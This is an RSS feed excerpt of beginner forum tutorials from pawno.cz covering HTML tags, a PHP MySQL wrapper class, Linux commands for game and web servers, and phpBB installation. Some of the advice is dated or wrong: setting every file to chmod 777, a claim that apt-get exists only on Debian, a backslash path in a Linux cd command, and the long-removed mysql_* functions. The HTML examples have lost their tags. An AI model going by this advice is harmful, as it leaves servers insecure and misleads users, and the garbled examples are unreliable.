<p> </p>
</div>
</div>
<p> </p>
]]></description><guid isPermaLink="false">43201</guid><pubDate>Sun, 28 Oct 2012 14:31:06 +0000</pubDate></item><item><title>Zakladn&#xE9; tagy pre HTML</title><link>https://pawno.cz/index.php?/topic/42755-zakladn%C3%A9-tagy-pre-html/</link><description><![CDATA[
<p></p>
<div style="text-align:center;"><p><span><span style="color:#004000;">Základné tagy pre HTML</span></span></p></div>
<p></p>
<p></p>
<p> </p>
<p><em>Tak chcel som sem vypísat všetky základné tagy pre HTML ako tučné písmo , podčiarknuté písmo , center atd..</em></p>
<p> </p>
<p> </p>
<p></p>
<pre class="ipsCode">Tak tučné písmo :  text</pre>
<div></div>
<p></p>
<p>výsledok : <strong>text</strong></p>
<p> </p>
<p> </p>
<p></p>
<pre class="ipsCode">Kurzíva : text</pre>
<div></div>
<p></p>
<p>výsledok : <em>text</em></p>
<p> </p>
<p></p>
<pre class="ipsCode">Podčiarknutý text : text</pre>
<div></div>
<p></p>
<p>výsledok : <span style="text-decoration:underline;">text</span></p>
<p> </p>
<p></p>
<pre class="ipsCode">Vetší text : text</pre>
<div></div>
<p></p>
<p>výsledok : <span>text</span></p>
<p> </p>
<p></p>
<pre class="ipsCode">Velkosti textov :  
text
text
text
text
text</pre>
<div></div>
<p></p>
<p> </p>
<p>výsledok : </p>
<p> </p>
<p>h2 : <span>text</span></p>
<p>h3 : <span>text</span></p>
<p>h4 : <span>text</span></p>
<p>h5 : <span>text</span></p>
<p>h6 : <span>text</span></p>
<p> </p>
<p>Tieto velkosti sú odhadované mnou takže presnú velkost neviem . Sú približné..</p>
<p> </p>
<p></p>
<pre class="ipsCode">
Oddeluje text od seba alebo pod seba  
</pre>
<div></div>
<p></p>
<p>výsledok :  </p>
<p>text</p>
<p>text</p>
<p> </p>
<p> </p>
<p>Prosím žiadne primitívne komentáre . Je to len pre začiatočníkov si to nevedia nájst na <a href="http://www.jakpsatweb.cz" rel="external nofollow">www.jakpsatweb.cz</a></p>
<p> </p>
<div style="text-align:center;"><p><span><span style="color:#004000;">Farby</span></span></p></div>
<p></p>
<p> </p>
<p><em>Základné windows paleta HTML id farieb</em></p>
<p> </p>
<p></p>
<pre class="ipsCode">Vkládajú sa taktoTento text je červený.</pre>
<div></div>
<p></p>
<p>výsledok : Tento text je <span style="color:#FF0000;">červený</span>.</p>
<p> </p>
<p> </p>
<p> </p>
<p>black</p>
<p><span style="color:#000000;">000000</span>	 </p>
<p>navy</p>
<p><span style="color:#0000BF;">000080</span>	 </p>
<p>green</p>
<p><span style="color:#408000;">008000</span>	 </p>
<p>teal</p>
<p><span style="color:#0080BF;">008080</span></p>
<p>maroon</p>
<p><span style="color:#BF0000;">800000</span>	 </p>
<p>purple</p>
<p><span style="color:#BF00BF;">800080</span>	 </p>
<p>olive</p>
<p><span style="color:#FF8000;">808000</span>	</p>
<p>silver</p>
<p><span style="color:#BFBFBF;">C0C0C0</span></p>
<p>gray</p>
<p><span style="color:#BFBFFF;">808080</span> </p>
<p>blue</p>
<p><span style="color:#0000FF;">0000FF</span>	</p>
<p>lime</p>
<p><span style="color:#00BF00;">00FF00</span>	 </p>
<p>aqua</p>
<p><span style="color:#00BFFF;">00FFFF</span></p>
<p>red</p>
<p><span style="color:#FF0000;">FF0000</span>	 </p>
<p>fuchsia</p>
<p><span style="color:#FF00FF;">FF00FF</span>	 </p>
<p>yellow</p>
<p><span style="color:#FFBF00;">FFFF00</span>	 </p>
<p>white</p>
<p><span style="color:#FFFFFF;">FFFFFF</span></p>
]]></description><guid isPermaLink="false">42755</guid><pubDate>Mon, 17 Sep 2012 11:59:28 +0000</pubDate></item><item><title>[MySQL][BETA]Zjednodu&#x161;enie pr&#xE1;ce s PHP triedou</title><link>https://pawno.cz/index.php?/topic/42069-mysqlbetazjednodu%C5%A1enie-pr%C3%A1ce-s-php-triedou/</link><description><![CDATA[
<p>Predstavujem vám triedu MySQL pre zjednodušenie práce s MySQL.</p>
<p>Zatiaľ je vo verzii Beta (1.0). Čoskoro urobím ďalšie verzie.. Chyby mi nahláste sem alebo do PM.</p>
<p>Ďakujem.</p>
<p> </p>
<div class="ipsSpoiler" data-ipsspoiler="">
<div class="ipsSpoiler_header"><span></span></div>
<div class="ipsSpoiler_contents">
<pre class="ipsCode"><span></span></pre>
<p><span>&lt;?</span><span>php</span></p>
<p>Class MySQL_DB</p>
<p><span>{</span></p>
<p><span>  private $conn</span><span>;</span></p>
<p><span>  private $db</span><span>;</span></p>
<p><span>  public $lasterror</span><span>;</span></p>
<p><span>  public $lastquery</span><span>;</span></p>
<p><span>    </span><span>// Pripojeni</span></p>
<p><span>    public function MySQL_DB</span><span>(</span><span>$hostitel</span><span>,</span><span>$uzivatel</span><span>,</span><span>$heslo</span><span>,</span><span>$databaze</span><span>)</span><span> </span><span>{</span><span> </span></p>
<p>    <span>/* Pripojime se */</span></p>
<p><span>    $this</span><span>-&gt;</span><span>conn </span><span>=</span><span> mysql_connect</span><span>(</span><span>$hostitel</span><span>,</span><span>$uzivatel</span><span>,</span><span>$heslo</span><span>);</span></p>
<p><span>    </span><span>/* Overeni */</span></p>
<p><span>    if</span><span>(</span><span>$this</span><span>-&gt;</span><span>conn </span><span>==</span><span> false</span><span>)</span><span> </span></p>
<p>      <span>{</span><span>    </span></p>
<p>        $this<span>-&gt;</span><span>error</span><span>(</span><span>'Pripojenie zlyhalo. ('</span><span>.</span><span>mysql_error</span><span>().</span><span>')'</span><span>);</span><span> return false</span><span>;</span><span>      </span></p>
<p>      <span>}</span></p>
<p><span>    </span><span>/* Vybereme DB */</span></p>
<p><span>    $this</span><span>-&gt;</span><span>db </span><span>=</span><span> mysql_select_db</span><span>(</span><span>$databaze</span><span>,</span><span> $this</span><span>-&gt;</span><span>conn</span><span>);</span></p>
<p><span>    </span><span>/* Overeni */</span></p>
<p><span>    if</span><span>(</span><span>$this</span><span>-&gt;</span><span>db </span><span>==</span><span> false</span><span>)</span><span> </span></p>
<p>      <span>{</span><span>    </span></p>
<p>        $this<span>-&gt;</span><span>error</span><span>(</span><span>'Vybratie databazy zlyhalo. ('</span><span>.</span><span>mysql_error</span><span>().</span><span>')'</span><span>);</span><span> return false</span><span>;</span><span>      </span></p>
<p>      <span>}</span><span> </span></p>
<p>    <span>/* Vsechno v poradku */</span></p>
<p><span>    return true</span><span>;</span></p>
<p><span>    </span><span>}</span><span> </span></p>
<p>    </p>
<p>    public function Disconnect<span>()</span><span> </span><span>{</span></p>
<p><span>    mysql_close</span><span>(</span><span>$this</span><span>-&gt;</span><span>conn</span><span>);</span></p>
<p><span>    </span><span>}</span></p>
<p><span>    </span></p>
<p>    private function error<span>(</span><span>$msg</span><span>)</span><span> </span><span>{</span></p>
<p><span>    $this</span><span>-&gt;</span><span>lasterror </span><span>=</span><span> $msg</span><span>;</span></p>
<p><span>    die</span><span>(</span><span>$msg</span><span>);</span></p>
<p><span>    return false</span><span>;</span></p>
<p><span>    </span><span>}</span></p>
<p> </p>
<p><span>    public function query</span><span>(</span><span>$sql</span><span>,</span><span> $error </span><span>=</span><span> true</span><span>)</span><span> </span><span>{</span></p>
<p><span>    $this</span><span>-&gt;</span><span>lastquery </span><span>=</span><span> mysql_query</span><span>(</span><span>$sql</span><span>,</span><span> $this</span><span>-&gt;</span><span>conn</span><span>);</span></p>
<p><span>    if</span><span>(</span><span>$this</span><span>-&gt;</span><span>lastquery </span><span>==</span><span> false</span><span>)</span><span> </span><span>{</span></p>
<p><span>    </span></p>
<p>    if<span>(</span><span>$error </span><span>==</span><span> true</span><span>)</span><span> $this</span><span>-&gt;</span><span>error</span><span>(</span><span>'Query neuspesne'</span><span>);</span></p>
<p><span>    return false</span><span>;</span></p>
<p><span>    </span></p>
<p>    <span>}</span><span> else </span><span>{</span></p>
<p><span>    return $this</span><span>-&gt;</span><span>lastquery</span><span>;</span></p>
<p><span>    </span><span>}</span></p>
<p><span>    </span><span>}</span></p>
<p><span>    public function num</span><span>(</span><span>$query</span><span>)</span><span> </span><span>{</span></p>
<p><span>    if</span><span>(</span><span>$query </span><span>==</span><span> false</span><span>)</span><span> return false</span><span>;</span></p>
<p><span>    else return mysql_num_rows</span><span>(</span><span>$query</span><span>);</span></p>
<p><span>    </span><span>}</span></p>
<p><span> </span></p>
<p>    public function fetch<span>(</span><span>$query</span><span>,</span><span> $typ</span><span>=</span><span>'array'</span><span>)</span><span> </span><span>{</span></p>
<p><span>    if</span><span>(</span><span>$query </span><span>==</span><span> false</span><span>)</span><span> return false</span><span>;</span></p>
<p><span>    else </span><span>{</span></p>
<p><span>    switch</span><span>(</span><span>$typ</span><span>):</span></p>
<p><span>    case </span><span>'array'</span><span>:</span><span> return mysql_fetch_array</span><span>(</span><span>$query</span><span>);</span><span> break</span><span>;</span></p>
<p><span>    case </span><span>'row'</span><span>:</span><span> return mysql_fetch_row</span><span>(</span><span>$query</span><span>);</span><span> break</span><span>;</span></p>
<p><span>    case </span><span>'object'</span><span>:</span><span> return mysql_fetch_object</span><span>(</span><span>$query</span><span>);</span><span> break</span><span>;</span></p>
<p><span>    default</span><span>:</span><span> return false</span><span>;</span><span> break</span><span>;</span></p>
<p><span>    endswitch</span><span>;</span></p>
<p><span>    </span><span>}</span></p>
<p><span>    </span><span>}</span></p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p>}</p>
<p><span>/* --------- POUZITI ----------- */</span></p>
<p><span>$db </span><span>=</span><span> new MySQL_DB</span><span>(</span><span>'hostitel'</span><span>,</span><span>'uzivatel'</span><span>,</span><span>'heslo'</span><span>,</span><span>'databaze'</span><span>);</span></p>
<p><span>$query </span><span>=</span><span> $db</span><span>-&gt;</span><span>query</span><span>(</span><span>"SELECT * FROM tabulka"</span><span>);</span></p>
<p>while(<span>$row </span><span>=</span><span> $db</span><span>-&gt;</span><span>fetch</span><span>(</span><span>$query</span><span>))</span><span> </span><span>{</span></p>
<p><span>echo $row</span><span>[</span><span>'id'</span><span>].</span><span>PHP_EOL</span><span>;</span></p>
<p>}<span> </span></p>
<p>$db<span>-&gt;</span><span>Disconnect</span><span>();</span></p>
<p> </p>
<p> </p>
</div>
</div>
]]></description><guid isPermaLink="false">42069</guid><pubDate>Thu, 09 Aug 2012 14:57:12 +0000</pubDate></item><item><title>[MINI-TUT]MySQL V&#xFD;pis v&#xFD;sledk&#x16F; abecedn&#x11B;</title><link>https://pawno.cz/index.php?/topic/41798-mini-tutmysql-v%C3%BDpis-v%C3%BDsledk%C5%AF-abecedn%C4%9B/</link><description><![CDATA[
<p>Zdravím dělal jsem pro svoji stránku abecední výpis výsledků ačkoliv je to primitivní tak Vám se SQL příkaz napíšu :</p>
<pre class="ipsCode"><span class="syntaxdefault">SELECT</span></pre>
]]></description><guid isPermaLink="false">41798</guid><pubDate>Tue, 24 Jul 2012 11:17:18 +0000</pubDate></item><item><title>Linux pr&#xED;kazy a pom&#xF4;cky</title><link>https://pawno.cz/index.php?/topic/32617-linux-pr%C3%ADkazy-a-pom%C3%B4cky/</link><description><![CDATA[
<p>Zdravím, chcel bi som ľudom trošku pomôcť aj s tým že si robia pipni server a kebyže vedia aspon trošička z linuxu čo je v tomto návode by pochopili jak na to a nemuseli by sa pýtať tak by som bol rád kebyže si tento tutík neviem či to tak nazvať ale dúfam že hej prečítali tý ktorý zakladajú servery na linuxe čiže pipni,vpsfree,virtualmaster prosťe VPS alebo dedicated server</p>
<p><strong>K programovaniu linuxu alebo serverov sa používa večšinou program </strong><a href="http://putty.en.softonic.com/universaldownloader-launch" rel="external nofollow"><strong>PuTTy</strong></a></p>
<p>1.Otvoríte PuTTy</p>
<p>2.Prihlásite sa zadáte tam IP VPS alebo dedicated serveru dáte 22 a SSH</p>
<p>3.Potom dáte Open tam zadáte login a heslo na VPS alebo dedicated serveru</p>
<p>4.Spravíte si server návody sem dám aj na viacej serverov ak chcete na SA:MP tak máte návod od <a href="http://www.pawno.cz/viewtopic.php?f=8&amp;t=133" rel="">chytráka</a></p>
<p>Takže ked vám hádže error ked chcete spustiť server píše že nenašlo tak napíšete príkaz pre stiahnutie libsov pomáha to spustení servera do putty napíšete príkaz</p>
<p></p>
<pre class="ipsCode">apt-get install ia32-libs</pre>
<div></div>
<p></p>
<p>ked máte inú distribúciu ako debian tak</p>
<p></p>
<pre class="ipsCode">aptitude install ia32-libs</pre>
<div></div>
<p></p>
<p>pretože apt-get je dostupný iba v Debiane</p>
<p>Jak si updatnút vaše všetky súbory?</p>
<p>Napíšete do PuTTy-ny</p>
<p></p>
<pre class="ipsCode">apt-get update</pre>
<div></div>
<p></p>
<p>Upgrade</p>
<p></p>
<pre class="ipsCode">apt-get upgrade</pre>
<div></div>
<p></p>
<p>Pre ostatné informácie o PuTTyne a apt-get príkazoch </p>
<p></p>
<pre class="ipsCode">apt-get help</pre>
<div></div>
<p></p>
<p>to help slúži pokročilejším k SA:MP serveru tieto príkazy pre update nepotrebujete</p>
<p>Jak stiahnút súbor?</p>
<p>Napíšete do PuTTy</p>
<p></p>
<pre class="ipsCode">wget adresa súboru</pre>
<div></div>
<p></p>
<p>napríklad</p>
<p>wget <a href="http://team.sa-mp.com/files/samp03csvr.tar.gz" rel="external nofollow">http://team.sa-mp.com/files/samp03csvr.tar.gz</a></p>
<p>toto vám začne stahovat SA:MP 0.3c Linux Server</p>
<p>Jak na vytvorenie vlastného súboru?</p>
<p>Vela krát si chcete vytvorit vlastný súbor alebo skôr textový dokument a existuje na to aj FTP pripojenie sú to napríklad programy</p>
<p><a href="http://winscp.en.softonic.com/universaldownloader-launch" rel="external nofollow">WinSCP</a></p>
<p><a href="http://downloads.sourceforge.net/filezilla/FileZilla_3.3.5.1_win32-setup.exe" rel="external nofollow">FileZilla</a></p>
<p><a href="http://total-commander.en.softonic.com/universaldownloader-launch" rel="external nofollow">Total Commander</a></p>
<p>S tím sa lachšie robí robí sa s tým ako na počítači pretahujete normálne vytvárate súbory ale pre borcov je vytvorené príkazové ovládanie a to je PuTTY takže prejdime k veci</p>
<p></p>
<pre class="ipsCode">touch nazovsuboru.txt</pre>
<div></div>
<p></p>
<p>Vytvorí súbor nazovsuboru.txt</p>
<p></p>
<pre class="ipsCode">nano nazovsuboru.txt</pre>
<div></div>
<p></p>
<p>Otvorí súbor nazovsuboru.txt</p>
<p>Tam si potom môžete normálne v písat obsah potom</p>
<p>CTRL + X</p>
<p>a Potom Y</p>
<p>a uloží sa vám to</p>
<p>Jak nájst môj súbor? </p>
<p>No ked ste si ho dali do zložky kde ste chceli ked sa prihlásite večšinou pipni SA:MP servery tak ked máte cez pipni tak ste v root ked ste si v roote vytvorili zložku tubudemojsubor tak ju otvorite</p>
<p></p>
<pre class="ipsCode">cd tubudemojsubor</pre>
<div></div>
<p></p>
<p>a tam si vytvoríte ten txt dokument</p>
<p>Potom pojdete do Total Commander napríklad pre kontrolu a váš súbor tam bude potom ho môžete otvorit aby ste si skontrolovali text ono to fakt bude také</p>
<p>Ked chceme súbor dat do tubudemojsubor\chytrak tak to spravíme takto</p>
<p></p>
<pre class="ipsCode">cd tubudemojsubor\chytrak\</pre>
<div></div>
<p> </p>
<p>A tam si vytvoríte ten súbor a bude to tam viz jak hore som písal</p>
<p>vaša FTP adresa bude vyzerat asi takto</p>
<p></p>
<pre class="ipsCode">/root/tubudemojsubor/chytrak</pre>
<div></div>
<p></p>
<p>Ešte pár príkazov pre weby... bolo to tu už taktiež od ponga ale ja sem dám ešte viac</p>
<p>Inštalácia apache</p>
<p></p>
<pre class="ipsCode">apt-get install apache2</pre>
<div></div>
<p></p>
<p>Inštalácia PHP5</p>
<p></p>
<pre class="ipsCode">apt-get install php5</pre>
<div></div>
<p></p>
<p>Inštalácia MySQL</p>
<p></p>
<pre class="ipsCode">apt-get install php5-mysql</pre>
<div></div>
<p></p>
<p>Inštalácia PhpMyAdmin</p>
<p></p>
<pre class="ipsCode">apt-get install phpmyadmin</pre>
<div></div>
<p></p>
<p>A potom dáte </p>
<p></p>
<pre class="ipsCode">/etc/init.d/apache2 restart</pre>
<div></div>
<p></p>
<p>Keby niečo nešlo tak zopakujte ten príkaz</p>
<p>Inštalácia MySQL serveru</p>
<p></p>
<pre class="ipsCode">apt-get install mysql-server</pre>
<div></div>
<p></p>
<p>Dosť velká večšina súborov na internete ktorú stahujete príkazom wget je v rar alebo tar jak to extrahovat?</p>
<p></p>
<pre class="ipsCode">tar -xvf nazovsuboruktorysastahoval</pre>
<div></div>
<p></p>
<p>pri SA:MP to máte</p>
<p>tar -xvf samp03csvr.tar.gz</p>
<p>takže ten názov toho súboru ktorý sa stahuje prepíšete sem</p>
<p>Jak sa k súborom dostat v PuTTy?</p>
<p>napíšete do putty</p>
<p></p>
<pre class="ipsCode">mc</pre>
<div></div>
<p></p>
<p>Tak dúfam že sa vám tento mini tutoriál lúbil a dúfam že ste si ho prečítali celý a nekopčili lebo toto sú fakt malé riadky príkazov</p>
]]></description><guid isPermaLink="false">32617</guid><pubDate>Sat, 05 Feb 2011 21:35:29 +0000</pubDate></item><item><title>[Mini][TuT]P&#x159;ipojen&#xED; na SAMP / Ts p&#x159;es web</title><link>https://pawno.cz/index.php?/topic/41229-minitutp%C5%99ipojen%C3%AD-na-samp-ts-p%C5%99es-web/</link><description><![CDATA[
<br><a rel="">Připojit</a><br>
]]></description><guid isPermaLink="false">41229</guid><pubDate>Sun, 24 Jun 2012 10:29:22 +0000</pubDate></item><item><title>[PHPBB-TUT]Instalace</title><link>https://pawno.cz/index.php?/topic/41021-phpbb-tutinstalace/</link><description><![CDATA[
<p>Jelikož mě nespočet lidí otravuje na skype at jim poradim jak nainstalovat phpbb tak jsem se rozhodl napsat o tom podrobný tutoriál co a jak. Ostatně isntalace sama o sobě je velice intuitivní a primitivní takže lituji člověka který tento tutoriál potřebuje ale tak co nadělám...</p>
<p> </p>
<p> </p>
<p><strong><span style="text-decoration:underline"><span>1.Krok</span></span></strong></p>
<p><em>Nahrajeme soubory na web do ftp.</em></p>
<p><em>Nastavíme všem souborům chmod 777.</em></p>
<p> </p>
<p><strong><span style="text-decoration:underline"><span>2.Krok</span></span></strong></p>
<p><em>Přejdeme na stránku na které má být fórum.</em></p>
<p><em>Pokud jsem nahráli soubory správně mělo by se Vám zobrazit toto</em></p>
<p><a href="http://img.ewolutions.cz/subdom/img/viewer.php?file=edwsizxdnrx2k37zr0yc.jpg" rel="external nofollow"><img src="http://img.ewolutions.cz/subdom/img/files/edwsizxdnrx2k37zr0yc_thumb.jpg" alt="edwsizxdnrx2k37zr0yc_thumb.jpg"></a></p>
<p><em>Podařilo se ? Výborně přejdeme na krok 3.</em></p>
<p> </p>
<p><strong><span style="text-decoration:underline"><span>3.Krok</span></span></strong></p>
<p><em>Klikneme na kartu Instalovat(Install,Instalacia)</em></p>
<p><em>Zobrazí se nám toto </em></p>
<p><a href="http://img.ewolutions.cz/subdom/img/viewer.php?file=6z37ty2bmqs3nyd4o5ov.jpg" rel="external nofollow"><img src="http://img.ewolutions.cz/subdom/img/files/6z37ty2bmqs3nyd4o5ov_thumb.jpg" alt="6z37ty2bmqs3nyd4o5ov_thumb.jpg"></a></p>
<p><em>Není nutno pročítat jen shrnutí podpory a tak dále.</em></p>
<p><em>Klikneme na Pokračovat na další krok.</em></p>
<p> </p>
<p><strong><span style="text-decoration:underline"><span>4.Krok</span></span></strong></p>
<p><em>Zobrazí se nám toto</em></p>
<p><a href="http://img.ewolutions.cz/subdom/img/viewer.php?file=awhf5r60mmemutekfgun.jpg" rel="external nofollow"><img src="http://img.ewolutions.cz/subdom/img/files/awhf5r60mmemutekfgun_thumb.jpg" alt="awhf5r60mmemutekfgun_thumb.jpg"></a></p>
<p><a href="http://img.ewolutions.cz/subdom/img/viewer.php?file=1zlk292fh7lf2qygvthy.jpg" rel="external nofollow"><img src="http://img.ewolutions.cz/subdom/img/files/1zlk292fh7lf2qygvthy_thumb.jpg" alt="1zlk292fh7lf2qygvthy_thumb.jpg"></a></p>
<p><a href="http://img.ewolutions.cz/subdom/img/viewer.php?file=saz024ga3i75677cibla.jpg" rel="external nofollow"><img src="http://img.ewolutions.cz/subdom/img/files/saz024ga3i75677cibla_thumb.jpg" alt="saz024ga3i75677cibla_thumb.jpg"></a></p>
<p><em>Důležité je aby vše vypadalo minimálně takto zeleně.Pokud Vám bude chybět některá část instalace nepůjde.Nejsou povinné všechny jen MSQL,MSQLi, A Kategorie Složky asoubory musí být zelené. Pokud ne vraťte se ke kroku 1.</em></p>
<p><em>Pokud vše odpovídá tak jako na screenech klikněte na  Začít instalaci.</em></p>
<p> </p>
<p><strong><span style="text-decoration:underline"><span>5.Krok</span></span></strong></p>
<p><em>Objeví se toto</em></p>
<p><a href="http://img.ewolutions.cz/subdom/img/viewer.php?file=bvwg4yqt7m2jssl54te6.jpg" rel="external nofollow"><img src="http://img.ewolutions.cz/subdom/img/files/bvwg4yqt7m2jssl54te6_thumb.jpg" alt="bvwg4yqt7m2jssl54te6_thumb.jpg"></a></p>
<p><em>Vyplníme našimi udaji z webhostingu můžeme vynechat pouze Port databázového serveru.</em></p>
<p><em>Pokud je vše vyplněno pokračujeme na další krok.</em></p>
<p><a href="http://img.ewolutions.cz/subdom/img/viewer.php?file=vqegwjkm0f89wx3cjlh2.jpg" rel="external nofollow"><img src="http://img.ewolutions.cz/subdom/img/files/vqegwjkm0f89wx3cjlh2_thumb.jpg" alt="vqegwjkm0f89wx3cjlh2_thumb.jpg"></a> <em>v tom případě můžeme pokračovat stisknutím Pokračovat na další krok.</em></p>
<p><em>Pokud obrázek nesouhlasí vratťe se na předchozí krok.</em></p>
<p> </p>
<p><strong><span style="text-decoration:underline"><span>6.Krok</span></span></strong></p>
<p><a href="http://img.ewolutions.cz/subdom/img/viewer.php?file=810gs0gryr1d59scmpw2.jpg" rel="external nofollow"><img src="http://img.ewolutions.cz/subdom/img/files/810gs0gryr1d59scmpw2_thumb.jpg" alt="810gs0gryr1d59scmpw2_thumb.jpg"></a></p>
<p><em>Vyplníme nacionále administrátora a pokračujeme na další krok.</em></p>
<p> </p>
<p><strong><span style="text-decoration:underline"><span>7.Krok</span></span></strong></p>
<p><em>Pokud jste udaje správně vyplnily (hesla a emaily se shodují) uvidíte toto</em></p>
<p><a href="http://img.ewolutions.cz/subdom/img/viewer.php?file=lm1n0c5e17tsizv9wjom.jpg" rel="external nofollow"><img src="http://img.ewolutions.cz/subdom/img/files/lm1n0c5e17tsizv9wjom_thumb.jpg" alt="lm1n0c5e17tsizv9wjom_thumb.jpg"></a></p>
<p><em>Ano ? Tak pokračujte stisknutím tlačítka pokračovat.</em></p>
<p> </p>
<p><strong><span style="text-decoration:underline"><span>8.Krok</span></span></strong></p>
<p><em>Pokud vidíte toto</em></p>
<p><a href="http://img.ewolutions.cz/subdom/img/viewer.php?file=lm1n0c5e17tsizv9wjom.jpg" rel="external nofollow"><img src="http://img.ewolutions.cz/subdom/img/files/lm1n0c5e17tsizv9wjom_thumb.jpg" alt="lm1n0c5e17tsizv9wjom_thumb.jpg"></a></p>
<p><em>tak směle pokračujte.</em></p>
<p> </p>
<p><strong><span style="text-decoration:underline"><span>9.Krok</span></span></strong></p>
<p>Uvidíte toto</p>
<p><a href="http://img.ewolutions.cz/subdom/img/viewer.php?file=3lla2krd82ezs5g0p7pf.jpg" rel="external nofollow"><img src="http://img.ewolutions.cz/subdom/img/files/3lla2krd82ezs5g0p7pf_thumb.jpg" alt="3lla2krd82ezs5g0p7pf_thumb.jpg"></a></p>
<p><a href="http://img.ewolutions.cz/subdom/img/viewer.php?file=jxh5v2cowpsw89s1odqc.jpg" rel="external nofollow"><img src="http://img.ewolutions.cz/subdom/img/files/jxh5v2cowpsw89s1odqc_thumb.jpg" alt="jxh5v2cowpsw89s1odqc_thumb.jpg"></a></p>
<p><em>Nic nevyplnujte a pokračujte na další krok</em></p>
<p> </p>
<p><strong><span style="text-decoration:underline"><span>10.Krok</span></span></strong></p>
<p><em>Zobrazí se Vám tato informace</em></p>
<p><a href="http://img.ewolutions.cz/subdom/img/viewer.php?file=jkpfa34pnth756a6ekds.jpg" rel="external nofollow"><img src="http://img.ewolutions.cz/subdom/img/files/jkpfa34pnth756a6ekds_thumb.jpg" alt="jkpfa34pnth756a6ekds_thumb.jpg"></a>.</p>
<p><em>Po kliknutí se spustí doinstalace která bude trvat chvilku déle než načtení předchozích kroků.</em></p>
<p> </p>
<p><strong><span style="text-decoration:underline"><span>11.Krok</span></span></strong></p>
<p><em>Zobrazí se Vám gratulace o uspěchu při instalaci fóra.</em></p>
<p><a href="http://img.ewolutions.cz/subdom/img/viewer.php?file=ifh2v6xndr4qbhddps04.jpg" rel="external nofollow"><img src="http://img.ewolutions.cz/subdom/img/files/ifh2v6xndr4qbhddps04_thumb.jpg" alt="ifh2v6xndr4qbhddps04_thumb.jpg"></a></p>
<p> </p>
<p><strong><span style="text-decoration:underline"><span>12.Krok</span></span></strong></p>
<p><em>Nyní minimalizujeme prohlížeč a otevřeme si FPT k fóru.</em></p>
<p><em>Nalezneme složku install a přejmenujeme ji na instalace.Bude se to hodit věřte mi.</em></p>
<p><a href="http://img.ewolutions.cz/subdom/img/viewer.php?file=93j7vq7boov3mazrz2ep.jpg" rel="external nofollow"><img src="http://img.ewolutions.cz/subdom/img/files/93j7vq7boov3mazrz2ep_thumb.jpg" alt="93j7vq7boov3mazrz2ep_thumb.jpg"></a></p>
<p><a href="http://img.ewolutions.cz/subdom/img/viewer.php?file=yam5wrz29s9x003znzf0.jpg" rel="external nofollow"><img src="http://img.ewolutions.cz/subdom/img/files/yam5wrz29s9x003znzf0_thumb.jpg" alt="yam5wrz29s9x003znzf0_thumb.jpg"></a></p>
<p><em>Nastavíme souboru config.php chmod 644. Tím je dokonáno. Nyní už stačí opět maximalizovat prohlížeč a stisknout tlačítko přihlásit se . </em></p>
<p><em> </em></p>
<p><em>Děkuji za pozornost.</em></p>
<p> </p>
<p> </p>
<p> </p>
<p><span style="color:#FF0000"><strong><span>Návod je zakázáno rozšiřovat bez mého výslovného svolení.</span></strong></span></p>
<p><em>Děkuji Image Uploaderu IMG-Ewoutions za poskytnutý prostor pro screeny.</em></p>
]]></description><guid isPermaLink="false">41021</guid><pubDate>Fri, 08 Jun 2012 08:26:13 +0000</pubDate></item></channel></rss>
